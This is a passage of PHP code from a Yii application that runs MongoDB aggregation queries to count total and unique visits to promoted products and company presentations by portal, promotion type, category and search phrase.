        $idsProducts = array_values($idsProducts);
        $idsPortals = array_values($idsPortals);
        
        $idMin = new \MongoDB\BSON\ObjectId(dechex(floor(strtotime($modelCompanyStatisticsForm->dateStart.' 00:00:00')))."0000000000000000");
        $idMax = new \MongoDB\BSON\ObjectId(dechex(floor(strtotime($modelCompanyStatisticsForm->dateEnd.' 23:59:59')))."0000000000000000");
        
        $aggregateMatch = [
            '$match' => [
                'pr' => ['$in' => $idsProducts], //id_product
                'po' => ['$in' => $idsPortals], //id_portal
                '_id' => [
                    '$gte' => $idMin, 
                    '$lt' => $idMax
                ]
            ],
        ];
        
        $collection = Yii::$app->mongodb->getCollection(\common\models\ProductsVisitsNew::collectionName());
        $stats = $collection->aggregate([
            $aggregateMatch,
            [
                '$group' => [
                    '_id' => [
                        'pr' => '$pr', //id_product
                        'po' => '$po', //id_portal
                    ],
                    'count' => [
                        '$sum' => 1
                    ]
                ],
            ],
        ]);
        
        if(!empty($stats)) {
            foreach($stats as $item) {
                $idPortal = $item['_id']['po'];
                $idProduct = $item['_id']['pr'];
                $hash = $idProduct.'_'.$idPortal; 
                if(isset($modelsProductsStatisticsForms[$hash])) {
                    $modelsProductsStatisticsForms[$hash]->totalVisits += $item['count'];
                }
            }
        }
        
        $stats = $collection->aggregate([
            $aggregateMatch, 
            [
                '$group' => [
                    '_id' => [
                        'pr' => '$pr', //id_product
                        'po' => '$po', //id_portal
                        'v' => '$v' //visitor_uuid
                    ]
                ],
            ],
            [
                '$group' => [
                    '_id' => [
                        'pr' => '$_id.pr', //id_product
                        'po' => '$_id.po', //id_portal
                    ],
                    'count' => [
                        '$sum' => 1
                    ]
                ],
            ],
        ]);
        
        if(!empty($stats)) {
            foreach($stats as $item) {
                $idPortal = $item['_id']['po']; //id_portal
                $idProduct = $item['_id']['pr']; //id_product
                $hash = $idProduct.'_'.$idPortal;
                if(isset($modelsProductsStatisticsForms[$hash])) {
                    $modelsProductsStatisticsForms[$hash]->totalUniqueVisits += $item['count'];
                }
            }
        }
    }
    
    protected function getStatsForPromotedProducts($modelCompanyStatisticsForm, $modelsPromotedProductsStatisticsForms)
    {
        if(empty($modelsPromotedProductsStatisticsForms)) {
            return;
        }
        
        $promotionTypes = [ProductsVisits::PROMOTION_TOP_PRODUCT, ProductsVisits::PROMOTION_IN_CATEGORIES, ProductsVisits::PROMOTION_IN_SEARCH];
        $promotionTypesFieldsSuffixes = ['TopProducts', 'Categories', 'Search'];
        
        $idsProducts = [];
        $idsPortals = [];        
        foreach($modelsPromotedProductsStatisticsForms as $hash => $modelPromotedProductStatisticsForms) {
            list($idProduct, $idPortal) = explode('_', $hash);
            $idsProducts[intval($idProduct)] = intval($idProduct);
            $idsPortals[intval($idPortal)] = intval($idPortal);
            foreach($promotionTypesFieldsSuffixes as $promotionTypeFieldSuffix) {
                $totalVisitsField = 'totalVisitsFrom'.$promotionTypeFieldSuffix;
                $totalUniqueVisitsField = 'totalUniqueVisitsFrom'.$promotionTypeFieldSuffix;
                $modelPromotedProductStatisticsForms->$totalVisitsField = 0;
                $modelPromotedProductStatisticsForms->$totalUniqueVisitsField = 0;
            }
        }        
        $idsProducts = array_values($idsProducts);
        $idsPortals = array_values($idsPortals);
        
        for($i = 0; $i < 3; $i++) {
            $totalVisitsField = 'totalVisitsFrom'.$promotionTypesFieldsSuffixes[$i];
            $totalUniqueVisitsField = 'totalUniqueVisitsFrom'.$promotionTypesFieldsSuffixes[$i];
            
            $aggregateMatch = [
                '$match' => [
                    'id_product' => ['$in' => $idsProducts],
                    'id_portal' => ['$in' => $idsPortals],
                    'promotion' => $promotionTypes[$i],
                    'created_at' => [
                        '$gte' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateStart.' 00:00:00')*1000), 
                        '$lt' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateEnd.' 23:59:59')*1000)
                    ]
                ],
            ];

            $collection = Yii::$app->mongodb->getCollection('products_visits');
            $stats = $collection->aggregate([
                $aggregateMatch,
                [
                    '$group' => [
                        '_id' => [
                            'id_product' => '$id_product',
                            'id_portal' => '$id_portal',
                        ],
                        'count' => [
                            '$sum' => 1
                        ]
                    ],
                ],
            ]);
            
            if(!empty($stats)) {
                foreach($stats as $item) {
                    $idPortal = $item['_id']['id_portal'];
                    $idProduct = $item['_id']['id_product'];
                    $hash = $idProduct.'_'.$idPortal; 
                    if(isset($modelsPromotedProductsStatisticsForms[$hash])) {
                        $modelsPromotedProductsStatisticsForms[$hash]->$totalVisitsField += $item['count'];
                    }
                }
            }

            $stats = $collection->aggregate([
                $aggregateMatch, 
                [
                    '$group' => [
                        '_id' => [
                            'id_product' => '$id_product',
                            'id_portal' => '$id_portal',
                            'visitor_uuid' => '$visitor_uuid'
                        ]
                    ],
                ],
                [
                    '$group' => [
                        '_id' => [
                            'id_product' => '$_id.id_product',
                            'id_portal' => '$_id.id_portal',
                        ],
                        'count' => [
                            '$sum' => 1
                        ]
                    ],
                ],
            ]);

            if(!empty($stats)) {
                foreach($stats as $item) {
                    $idPortal = $item['_id']['id_portal'];
                    $idProduct = $item['_id']['id_product'];                
                    $hash = $idProduct.'_'.$idPortal;
                    if(isset($modelsPromotedProductsStatisticsForms[$hash])) {
                        $modelsPromotedProductsStatisticsForms[$hash]->$totalUniqueVisitsField += $item['count'];
                    }
                }
            }
            
//            if($i === 1) {
//                var_dump($modelsPromotedProductsStatisticsForms); 
//                exit;
//            }
            
            if($promotionTypes[$i] === ProductsVisits::PROMOTION_IN_CATEGORIES) {
                $stats = $collection->aggregate([
                    $aggregateMatch,
                    [
                        '$group' => [
                            '_id' => [
                                'id_product' => '$id_product',
                                'id_portal' => '$id_portal',
                                'id_category' => '$id_category',
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPortal = $item['_id']['id_portal'];
                        $idProduct = $item['_id']['id_product'];
                        $idCategory = $item['_id']['id_category'];
                        $hash = $idProduct.'_'.$idPortal;
                        if(isset($modelsPromotedProductsStatisticsForms[$hash])) {
                            $modelsPromotedProductsStatisticsForms[$hash]->visitsFromCategories[$idCategory] += $item['count'];
                        }
                    }
                }
                
                $stats = $collection->aggregate([
                    $aggregateMatch, 
                    [
                        '$group' => [
                            '_id' => [
                                'id_product' => '$id_product',
                                'id_portal' => '$id_portal',
                                'id_category' => '$id_category',
                                'visitor_uuid' => '$visitor_uuid'
                            ]
                        ],
                    ],
                    [
                        '$group' => [
                            '_id' => [
                                'id_product' => '$_id.id_product',
                                'id_portal' => '$_id.id_portal',
                                'id_category' => '$_id.id_category',
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPortal = $item['_id']['id_portal'];
                        $idProduct = $item['_id']['id_product'];
                        $idCategory = $item['_id']['id_category'];
                        $hash = $idProduct.'_'.$idPortal;
                        if(isset($modelsPromotedProductsStatisticsForms[$hash])) {
                            $modelsPromotedProductsStatisticsForms[$hash]->uniqueVisitsFromCategories[$idCategory] += $item['count'];
                        }
                    }
                }
            }
            
            if($promotionTypes[$i] === ProductsVisits::PROMOTION_IN_SEARCH) {
                $stats = $collection->aggregate([
                    $aggregateMatch,
                    [
                        '$group' => [
                            '_id' => [
                                'id_product' => '$id_product',
                                'id_portal' => '$id_portal',
                                'search_phrase' => '$search_phrase',
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPortal = $item['_id']['id_portal'];
                        $idProduct = $item['_id']['id_product'];
                        $searchPhrase = $item['_id']['search_phrase'];
                        $hash = $idProduct.'_'.$idPortal;
                        if(isset($modelsPromotedProductsStatisticsForms[$hash])) {
                            $modelsPromotedProductsStatisticsForms[$hash]->visitsFromSearch[$searchPhrase] += $item['count'];
                        }
                    }
                }
                
                $stats = $collection->aggregate([
                    $aggregateMatch, 
                    [
                        '$group' => [
                            '_id' => [
                                'id_product' => '$id_product',
                                'id_portal' => '$id_portal',
                                'search_phrase' => '$search_phrase',
                                'visitor_uuid' => '$visitor_uuid'
                            ]
                        ],
                    ],
                    [
                        '$group' => [
                            '_id' => [
                                'id_product' => '$_id.id_product',
                                'id_portal' => '$_id.id_portal',
                                'search_phrase' => '$_id.search_phrase',
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPortal = $item['_id']['id_portal'];
                        $idProduct = $item['_id']['id_product'];   
                        $searchPhrase = $item['_id']['search_phrase'];
                        $hash = $idProduct.'_'.$idPortal;
                        if(isset($modelsPromotedProductsStatisticsForms[$hash])) {
                            $modelsPromotedProductsStatisticsForms[$hash]->uniqueVisitsFromSearch[$searchPhrase] += $item['count'];
                        }
                    }
                }
            }
        }        
        
    }
    
    protected function getStatsForPromotedProductsNew($modelCompanyStatisticsForm, $modelsPromotedProductsStatisticsForms)
    {
        if(empty($modelsPromotedProductsStatisticsForms)) {
            return;
        }
        
        $promotionTypes = [\common\models\ProductsVisitsNew::PROMOTION_TOP_PRODUCT, \common\models\ProductsVisitsNew::PROMOTION_IN_CATEGORIES, \common\models\ProductsVisitsNew::PROMOTION_IN_SEARCH];
        $promotionTypesFieldsSuffixes = ['TopProducts', 'Categories', 'Search'];
        
        $idsProducts = [];
        $idsPortals = [];        
        foreach($modelsPromotedProductsStatisticsForms as $hash => $modelPromotedProductStatisticsForms) {
            list($idProduct, $idPortal) = explode('_', $hash);
            $idsProducts[intval($idProduct)] = intval($idProduct);
            $idsPortals[intval($idPortal)] = intval($idPortal);
            foreach($promotionTypesFieldsSuffixes as $promotionTypeFieldSuffix) {
                $totalVisitsField = 'totalVisitsFrom'.$promotionTypeFieldSuffix;
                $totalUniqueVisitsField = 'totalUniqueVisitsFrom'.$promotionTypeFieldSuffix;
                $modelPromotedProductStatisticsForms->$totalVisitsField = 0;
                $modelPromotedProductStatisticsForms->$totalUniqueVisitsField = 0;
            }
        }        
        $idsProducts = array_values($idsProducts);
        $idsPortals = array_values($idsPortals);
        
        $idMin = new \MongoDB\BSON\ObjectId(dechex(floor(strtotime($modelCompanyStatisticsForm->dateStart.' 00:00:00')))."0000000000000000");
        $idMax = new \MongoDB\BSON\ObjectId(dechex(floor(strtotime($modelCompanyStatisticsForm->dateEnd.' 23:59:59')))."0000000000000000");
        
        for($i = 0; $i < 3; $i++) {
            $totalVisitsField = 'totalVisitsFrom'.$promotionTypesFieldsSuffixes[$i];
            $totalUniqueVisitsField = 'totalUniqueVisitsFrom'.$promotionTypesFieldsSuffixes[$i];
            
            $aggregateMatch = [
                '$match' => [
                    'pr' => ['$in' => $idsProducts], //id_product
                    'po' => ['$in' => $idsPortals], //id_portal
                    'pt' => $promotionTypes[$i], //promotion
                    '_id' => [
                        '$gte' => $idMin, 
                        '$lt' => $idMax
                    ]
                ],
            ];

            $collection = Yii::$app->mongodb->getCollection(\common\models\ProductsVisitsNew::collectionName());
            $stats = $collection->aggregate([
                $aggregateMatch,
                [
                    '$group' => [
                        '_id' => [
                            'pr' => '$pr', //id_product
                            'po' => '$po', //id_portal
                        ],
                        'count' => [
                            '$sum' => 1
                        ]
                    ],
                ],
            ]);
            
            if(!empty($stats)) {
                foreach($stats as $item) {
                    $idPortal = $item['_id']['po']; //id_portal
                    $idProduct = $item['_id']['pr']; //id_product
                    $hash = $idProduct.'_'.$idPortal; 
                    if(isset($modelsPromotedProductsStatisticsForms[$hash])) {
                        $modelsPromotedProductsStatisticsForms[$hash]->$totalVisitsField += $item['count'];
                    }
                }
            }

            $stats = $collection->aggregate([
                $aggregateMatch, 
                [
                    '$group' => [
                        '_id' => [
                            'pr' => '$pr', //id_product
                            'po' => '$po', //id_portal
                            'v' => '$v' //visitor_uuid
                        ]
                    ],
                ],
                [
                    '$group' => [
                        '_id' => [
                            'pr' => '$_id.pr', //id_product
                            'po' => '$_id.po', //id_portal
                        ],
                        'count' => [
                            '$sum' => 1
                        ]
                    ],
                ],
            ]);

            if(!empty($stats)) {
                foreach($stats as $item) {
                    $idPortal = $item['_id']['po']; //id_portal
                    $idProduct = $item['_id']['pr']; //id_product
                    $hash = $idProduct.'_'.$idPortal;
                    if(isset($modelsPromotedProductsStatisticsForms[$hash])) {
                        $modelsPromotedProductsStatisticsForms[$hash]->$totalUniqueVisitsField += $item['count'];
                    }
                }
            }
            
            if($promotionTypes[$i] === \common\models\ProductsVisitsNew::PROMOTION_IN_CATEGORIES) {
                $stats = $collection->aggregate([
                    $aggregateMatch,
                    [
                        '$group' => [
                            '_id' => [
                                'pr' => '$pr', //id_product
                                'po' => '$po', //id_portal
                                'c' => '$c', //id_category
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPortal = $item['_id']['po']; //id_portal
                        $idProduct = $item['_id']['pr']; //id_product
                        $idCategory = $item['_id']['c']; //id_category
                        $hash = $idProduct.'_'.$idPortal;
                        if(isset($modelsPromotedProductsStatisticsForms[$hash])) {
                            $modelsPromotedProductsStatisticsForms[$hash]->visitsFromCategories[$idCategory] += $item['count'];
                        }
                    }
                }
                
                $stats = $collection->aggregate([
                    $aggregateMatch, 
                    [
                        '$group' => [
                            '_id' => [
                                'pr' => '$pr', //id_product
                                'po' => '$po', //id_portal
                                'c' => '$c', //id_category
                                'v' => '$v' //visitor_uuid
                            ]
                        ],
                    ],
                    [
                        '$group' => [
                            '_id' => [
                                'pr' => '$_id.pr', //id_product
                                'po' => '$_id.po', //id_portal
                                'c' => '$_id.c', //id_category
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPortal = $item['_id']['po']; //id_portal
                        $idProduct = $item['_id']['pr']; //id_product
                        $idCategory = $item['_id']['c']; //id_category
                        $hash = $idProduct.'_'.$idPortal;
                        if(isset($modelsPromotedProductsStatisticsForms[$hash])) {
                            $modelsPromotedProductsStatisticsForms[$hash]->uniqueVisitsFromCategories[$idCategory] += $item['count'];
                        }
                    }
                }
            }
            
            if($promotionTypes[$i] === \common\models\ProductsVisitsNew::PROMOTION_IN_SEARCH) {
                $stats = $collection->aggregate([
                    $aggregateMatch,
                    [
                        '$group' => [
                            '_id' => [
                                'pr' => '$pr', //id_product
                                'po' => '$po', //id_portal
                                's' => '$s', //search_phrase
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPortal = $item['_id']['po']; //id_portal
                        $idProduct = $item['_id']['pr']; //id_product
                        $searchPhrase = $item['_id']['s']; //search_phrase
                        $hash = $idProduct.'_'.$idPortal;
                        if(isset($modelsPromotedProductsStatisticsForms[$hash])) {
                            $modelsPromotedProductsStatisticsForms[$hash]->visitsFromSearch[$searchPhrase] += $item['count'];
                        }
                    }
                }
                
                $stats = $collection->aggregate([
                    $aggregateMatch, 
                    [
                        '$group' => [
                            '_id' => [
                                'pr' => '$pr', //id_product
                                'po' => '$po', //id_portal
                                's' => '$s', //search_phrase
                                'v' => '$v' //visitor_uuid
                            ]
                        ],
                    ],
                    [
                        '$group' => [
                            '_id' => [
                                'pr' => '$_id.pr', //id_product
                                'po' => '$_id.po', //id_portal
                                's' => '$_id.s', //search_phrase
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPortal = $item['_id']['po']; //id_portal
                        $idProduct = $item['_id']['pr']; //id_product
                        $searchPhrase = $item['_id']['s']; //search_phrase
                        $hash = $idProduct.'_'.$idPortal;
                        if(isset($modelsPromotedProductsStatisticsForms[$hash])) {
                            $modelsPromotedProductsStatisticsForms[$hash]->uniqueVisitsFromSearch[$searchPhrase] += $item['count'];
                        }
                    }
                }
            }
        } 
    }
    
    protected function removeEmptyPromotedProducts(&$modelsPromotedProductsStatisticsForms)
    {
        if(empty($modelsPromotedProductsStatisticsForms)) {
            return;
        }
        
        foreach($modelsPromotedProductsStatisticsForms as $hash => $modelPromotedProductStatisticsForm) {
            if(empty($modelPromotedProductStatisticsForm->totalVisitsFromTopProducts) && empty($modelPromotedProductStatisticsForm->totalVisitsFromCategories) && empty($modelPromotedProductStatisticsForm->totalVisitsFromSearch)) {
                unset($modelsPromotedProductsStatisticsForms[$hash]);
            }
        }
    }
    
    protected function getStatsForPresentationsPromoted($modelCompanyStatisticsForm, $modelsPresentationsPromotedStatisticsForms)
    {
        if(empty($modelsPresentationsPromotedStatisticsForms)) {
            return;
        }
        
        $promotionTypes = [CompaniesPresentationsVisits::PROMOTION_TOP_COMPANY, CompaniesPresentationsVisits::PROMOTION_IN_CATEGORIES, CompaniesPresentationsVisits::PROMOTION_IN_SEARCH];
        $promotionTypesFieldsSuffixes = ['TopCompanies', 'Categories', 'Search'];
        
        $idsPresentations = array_keys($modelsPresentationsPromotedStatisticsForms);
        $idsPortals = []; 
        foreach($modelsPresentationsPromotedStatisticsForms as $idPresentation => $modelPresentationPromotedStatisticsForm) {
            $idPortal = $modelPresentationPromotedStatisticsForm->getModelPresentation()->id_portal;
            $idsPortals[$idPortal] = $idPortal;
            foreach($promotionTypesFieldsSuffixes as $promotionTypeFieldSuffix) {
                $totalVisitsField = 'totalVisitsFrom'.$promotionTypeFieldSuffix;
                $totalUniqueVisitsField = 'totalUniqueVisitsFrom'.$promotionTypeFieldSuffix;
                $modelPresentationPromotedStatisticsForm->$totalVisitsField = 0;
                $modelPresentationPromotedStatisticsForm->$totalUniqueVisitsField = 0;
            }
        }
        $idsPortals = array_values($idsPortals);
        
        $collection = Yii::$app->mongodb->getCollection('companies_presentations_visits');
        
        for($i = 0; $i < 3; $i++) {
            $totalVisitsField = 'totalVisitsFrom'.$promotionTypesFieldsSuffixes[$i];
            $totalUniqueVisitsField = 'totalUniqueVisitsFrom'.$promotionTypesFieldsSuffixes[$i];
            
            $aggregateMatch = [
                '$match' => [
                    'id_presentation' => ['$in' => $idsPresentations],
                    'id_portal' => ['$in' => $idsPortals],
                    'promotion' => $promotionTypes[$i],
                    'created_at' => [
                        '$gte' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateStart.' 00:00:00')*1000), 
                        '$lt' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateEnd.' 23:59:59')*1000)
                    ]
                ],
            ];
            
            $stats = $collection->aggregate([
                $aggregateMatch,
                [
                    '$group' => [
                        '_id' => [
                            'id_presentation' => '$id_presentation',
                            'id_portal' => '$id_portal',
                        ],
                        'count' => [
                            '$sum' => 1
                        ]
                    ],
                ],
            ]);

            if(!empty($stats)) {
                foreach($stats as $item) {
                    $idPresentation = $item['_id']['id_presentation'];
                    if(isset($modelsPresentationsPromotedStatisticsForms[$idPresentation])) {
                        $modelsPresentationsPromotedStatisticsForms[$idPresentation]->$totalVisitsField += $item['count'];
                    }
                }
            }

            $stats = $collection->aggregate([
                $aggregateMatch, 
                [
                    '$group' => [
                        '_id' => [
                            'id_presentation' => '$id_presentation',
                            'id_portal' => '$id_portal',
                            'visitor_uuid' => '$visitor_uuid'
                        ]
                    ],
                ],
                [
                    '$group' => [
                        '_id' => [
                            'id_presentation' => '$_id.id_presentation',
                            'id_portal' => '$_id.id_portal',
                        ],
                        'count' => [
                            '$sum' => 1
                        ]
                    ],
                ],
            ]);

            if(!empty($stats)) {
                foreach($stats as $item) {
                    $idPresentation = $item['_id']['id_presentation'];
                    if(isset($modelsPresentationsPromotedStatisticsForms[$idPresentation])) {
                        $modelsPresentationsPromotedStatisticsForms[$idPresentation]->$totalUniqueVisitsField += $item['count'];
                    }
                }
            }
            
            if($promotionTypes[$i] === CompaniesPresentationsVisits::PROMOTION_IN_CATEGORIES) {
                $stats = $collection->aggregate([
                    $aggregateMatch,
                    [
                        '$group' => [
                            '_id' => [
                                'id_presentation' => '$id_presentation',
                                'id_portal' => '$id_portal',
                                'id_category' => '$id_category',
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPresentation = $item['_id']['id_presentation'];
                        $idCategory = $item['_id']['id_category'];
                        if(isset($modelsPresentationsPromotedStatisticsForms[$idPresentation])) {
                            $modelsPresentationsPromotedStatisticsForms[$idPresentation]->visitsFromCategories[$idCategory] += $item['count'];
                        }
                    }
                }
                
                $stats = $collection->aggregate([
                    $aggregateMatch, 
                    [
                        '$group' => [
                            '_id' => [
                                'id_presentation' => '$id_presentation',
                                'id_portal' => '$id_portal',
                                'id_category' => '$id_category',
                                'visitor_uuid' => '$visitor_uuid'
                            ]
                        ],
                    ],
                    [
                        '$group' => [
                            '_id' => [
                                'id_presentation' => '$_id.id_presentation',
                                'id_portal' => '$_id.id_portal',
                                'id_category' => '$_id.id_category',
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPresentation = $item['_id']['id_presentation'];                
                        $idCategory = $item['_id']['id_category'];
                        if(isset($modelsPresentationsPromotedStatisticsForms[$idPresentation])) {
                            $modelsPresentationsPromotedStatisticsForms[$idPresentation]->uniqueVisitsFromCategories[$idCategory] += $item['count'];
                        }
                    }
                }
            }
            
            if($promotionTypes[$i] === CompaniesPresentationsVisits::PROMOTION_IN_SEARCH) {
                $stats = $collection->aggregate([
                    $aggregateMatch,
                    [
                        '$group' => [
                            '_id' => [
                                'id_presentation' => '$id_presentation',
                                'id_portal' => '$id_portal',
                                'search_phrase' => '$search_phrase',
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPresentation = $item['_id']['id_presentation'];
                        $searchPhrase = $item['_id']['search_phrase'];
                        if(isset($modelsPresentationsPromotedStatisticsForms[$idPresentation])) {
                            $modelsPresentationsPromotedStatisticsForms[$idPresentation]->visitsFromSearch[$searchPhrase] += $item['count'];
                        }
                    }
                }
                
                $stats = $collection->aggregate([
                    $aggregateMatch, 
                    [
                        '$group' => [
                            '_id' => [
                                'id_presentation' => '$id_presentation',
                                'id_portal' => '$id_portal',
                                'search_phrase' => '$search_phrase',
                                'visitor_uuid' => '$visitor_uuid'
                            ]
                        ],
                    ],
                    [
                        '$group' => [
                            '_id' => [
                                'id_presentation' => '$_id.id_presentation',
                                'id_portal' => '$_id.id_portal',
                                'search_phrase' => '$_id.search_phrase',
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPresentation = $item['_id']['id_presentation'];                
                        $searchPhrase = $item['_id']['search_phrase'];
                        if(isset($modelsPresentationsPromotedStatisticsForms[$idPresentation])) {
                            $modelsPresentationsPromotedStatisticsForms[$idPresentation]->uniqueVisitsFromSearch[$searchPhrase] += $item['count'];
                        }
                    }
                }
            }
        }
    }
    
    protected function getStatsForPresentationsPromotedNew($modelCompanyStatisticsForm, $modelsPresentationsPromotedStatisticsForms)
    {
        if(empty($modelsPresentationsPromotedStatisticsForms)) {
            return;
        }
        
        $promotionTypes = [\common\models\CompaniesPresentationsVisitsNew::PROMOTION_TOP_COMPANY, \common\models\CompaniesPresentationsVisitsNew::PROMOTION_IN_CATEGORIES, \common\models\CompaniesPresentationsVisitsNew::PROMOTION_IN_SEARCH];
        $promotionTypesFieldsSuffixes = ['TopCompanies', 'Categories', 'Search'];
        
        $idsPresentations = array_keys($modelsPresentationsPromotedStatisticsForms);
        $idsPortals = []; 
        foreach($modelsPresentationsPromotedStatisticsForms as $idPresentation => $modelPresentationPromotedStatisticsForm) {
            $idPortal = $modelPresentationPromotedStatisticsForm->getModelPresentation()->id_portal;
            $idsPortals[$idPortal] = $idPortal;
            foreach($promotionTypesFieldsSuffixes as $promotionTypeFieldSuffix) {
                $totalVisitsField = 'totalVisitsFrom'.$promotionTypeFieldSuffix;
                $totalUniqueVisitsField = 'totalUniqueVisitsFrom'.$promotionTypeFieldSuffix;
                $modelPresentationPromotedStatisticsForm->$totalVisitsField = 0;
                $modelPresentationPromotedStatisticsForm->$totalUniqueVisitsField = 0;
            }
        }
        $idsPortals = array_values($idsPortals);
        
        $collection = Yii::$app->mongodb->getCollection(\common\models\CompaniesPresentationsVisitsNew::collectionName());
        
        $idMin = new \MongoDB\BSON\ObjectId(dechex(floor(strtotime($modelCompanyStatisticsForm->dateStart.' 00:00:00')))."0000000000000000");
        $idMax = new \MongoDB\BSON\ObjectId(dechex(floor(strtotime($modelCompanyStatisticsForm->dateEnd.' 23:59:59')))."0000000000000000");
        
        for($i = 0; $i < 3; $i++) {
            $totalVisitsField = 'totalVisitsFrom'.$promotionTypesFieldsSuffixes[$i];
            $totalUniqueVisitsField = 'totalUniqueVisitsFrom'.$promotionTypesFieldsSuffixes[$i];
            
            $aggregateMatch = [
                '$match' => [
                    'pr' => ['$in' => $idsPresentations], //id_presentation
                    'po' => ['$in' => $idsPortals], //id_portal
                    'pt' => $promotionTypes[$i],
                    '_id' => [
                        '$gte' => $idMin,
                        '$lt' => $idMax
                    ],
//                    'ca' => [
//                        '$gte' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateStart.' 00:00:00')*1000), 
//                        '$lt' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateEnd.' 23:59:59')*1000)
//                    ]
                ],
            ];
            
            $stats = $collection->aggregate([
                $aggregateMatch,
                [
                    '$group' => [
                        '_id' => [
                            'pr' => '$pr', //id_presentation
                            'po' => '$po', //id_portal
                        ],
                        'count' => [
                            '$sum' => 1
                        ]
                    ],
                ],
            ]);

            if(!empty($stats)) {
                foreach($stats as $item) {
                    $idPresentation = $item['_id']['pr']; //id_presentation
                    if(isset($modelsPresentationsPromotedStatisticsForms[$idPresentation])) {
                        $modelsPresentationsPromotedStatisticsForms[$idPresentation]->$totalVisitsField += $item['count'];
                    }
                }
            }

            $stats = $collection->aggregate([
                $aggregateMatch, 
                [
                    '$group' => [
                        '_id' => [
                            'pr' => '$pr', //id_presentation
                            'po' => '$po', //id_portal
                            'v' => '$v' //visitor_uuid
                        ]
                    ],
                ],
                [
                    '$group' => [
                        '_id' => [
                            'pr' => '$_id.pr', //id_presentation
                            'po' => '$_id.po', //id_portal
                        ],
                        'count' => [
                            '$sum' => 1
                        ]
                    ],
                ],
            ]);

            if(!empty($stats)) {
                foreach($stats as $item) {
                    $idPresentation = $item['_id']['pr']; //id_presentation
                    if(isset($modelsPresentationsPromotedStatisticsForms[$idPresentation])) {
                        $modelsPresentationsPromotedStatisticsForms[$idPresentation]->$totalUniqueVisitsField += $item['count'];
                    }
                }
            }
            
            if($promotionTypes[$i] === \common\models\CompaniesPresentationsVisitsNew::PROMOTION_IN_CATEGORIES) {
                $stats = $collection->aggregate([
                    $aggregateMatch,
                    [
                        '$group' => [
                            '_id' => [
                                'pr' => '$pr', //id_presentation
                                'po' => '$po', //id_portal
                                'c' => '$c', //id_category
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPresentation = $item['_id']['pr']; //id_presentation
                        $idCategory = $item['_id']['c']; //id_category
                        if(isset($modelsPresentationsPromotedStatisticsForms[$idPresentation])) {
                            $modelsPresentationsPromotedStatisticsForms[$idPresentation]->visitsFromCategories[$idCategory] += $item['count'];
                        }
                    }
                }
                
                $stats = $collection->aggregate([
                    $aggregateMatch, 
                    [
                        '$group' => [
                            '_id' => [
                                'pr' => '$pr', //id_presentation
                                'po' => '$po', //id_portal
                                'c' => '$c', //id_category
                                'v' => '$v' //visitor_uuid
                            ]
                        ],
                    ],
                    [
                        '$group' => [
                            '_id' => [
                                'pr' => '$_id.pr', //id_presentation
                                'po' => '$_id.po', //id_portal
                                'c' => '$_id.c', //id_category
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPresentation = $item['_id']['pr']; //id_presentation
                        $idCategory = $item['_id']['c']; //id_category
                        if(isset($modelsPresentationsPromotedStatisticsForms[$idPresentation])) {
                            $modelsPresentationsPromotedStatisticsForms[$idPresentation]->uniqueVisitsFromCategories[$idCategory] += $item['count'];
                        }
                    }
                }
            }
            
            if($promotionTypes[$i] === \common\models\CompaniesPresentationsVisitsNew::PROMOTION_IN_SEARCH) {
                $stats = $collection->aggregate([
                    $aggregateMatch,
                    [
                        '$group' => [
                            '_id' => [
                                'pr' => '$pr', //id_presentation
                                'po' => '$po', //id_portal
                                's' => '$s', //search_phrase
                            ],
                            'count' => [
                                '$sum' => 1
                            ]
                        ],
                    ],
                ]);

                if(!empty($stats)) {
                    foreach($stats as $item) {
                        $idPresentation = $item['_id']['pr']; //id_presentation
                        $searchPhrase = $item['_id']['s']; //search_phrase
                        if(isset($modelsPresentationsPromotedStatisticsForms[$idPresentation])) {
                            $modelsPresentationsPromotedStatisticsForms[$idPresentation]->visitsFromSearch[$searchPhrase] += $item['count'];
                        }
                    }
                }
                
                $stats = $collection->aggregate([
                    $aggregateMatch, 
                    [
                        '$group' => [
                            '_id' => [
                                'pr' => '$pr', //id_presentation
                                'po' => '$po', //id_portal
                                's' => '$s', //search_phrase
                                'v' => '$v' //visitor_uuid
                            ]
                        ],
                    ],
                    [
                        '$group' => [
                            '_id' => [
